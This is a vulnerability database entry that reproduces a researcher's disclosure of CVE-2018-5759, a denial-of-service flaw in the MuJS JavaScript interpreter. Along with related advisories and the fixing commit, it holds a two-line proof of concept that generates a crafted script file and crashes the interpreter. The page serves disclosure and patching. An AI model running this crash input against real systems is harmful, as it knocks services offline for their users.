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Artifex MuJS Denial Of Service
🗓️ 27 Jan 2018 00:00:00Reported by Andrea SindoniType 
packetstorm🔗 packetstormsecurity.com👁 39 Views
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
 | Artifex MuJS 1.0.2 - Integer Overflow Exploit | 28 Jan 201800:00 | – | zdt |
 | Artifex MuJS Denial of Service Vulnerability | 25 Jan 201800:00 | – | cnvd |
 | CVE-2018-5759 | 24 Jan 201821:00 | – | cve |
 | CVE-2018-5759 | 24 Jan 201821:00 | – | cvelist |
 | CVE-2018-5759 | 24 Jan 201821:00 | – | debiancve |
 | Artifex MuJS 1.0.2 - Integer Overflow | 28 Jan 201800:00 | – | exploitdb |
 | EUVD-2018-17528 | 7 Oct 202500:30 | – | euvd |
 | Artifex MuJS 1.0.2 - Integer Overflow | 28 Jan 201800:00 | – | exploitpack |
 | [SECURITY] Fedora 26 Update: mujs-0-11.20180129git25821e6.fc26 | 14 Feb 201817:11 | – | fedora |
| [SECURITY] Fedora 27 Update: mujs-0-11.20180129git25821e6.fc27 | 14 Feb 201817:33 | – | fedora |
10
`The continuous call between the two functions "jsC_cexp" function and "cbinary"
allows attackers to cause a denial of service (application crash) via a
crafted js file
# Exploit Title: DoS caused by the interactive call between two functions
# Date: 2018-01-16
# Exploit Author: Andrea Sindoni - @invictus1306
# Vendor: Artifex (https://www.artifex.com/)
# Software Link: https://github.com/ccxvii/mujs
# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca
# Tested on: Linux
# CVE : CVE-2018-5759
Simple poc:
# python -c "print 'func%d'*80000" > poc.js
# mujs poc.js
Fixed in commit 4d45a96e57fbabf00a7378b337d0ddcace6f38c1 (
http://git.ghostscript.com/?p=mujs.git;a=commit;h=
4d45a96e57fbabf00a7378b337d0ddcace6f38c1)
Please let me know if you need more info.
Andrea Sindoni
`
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27 Jan 2018 00:00Current
5.8Medium risk
Vulners AI Score5.8
EPSS0.03779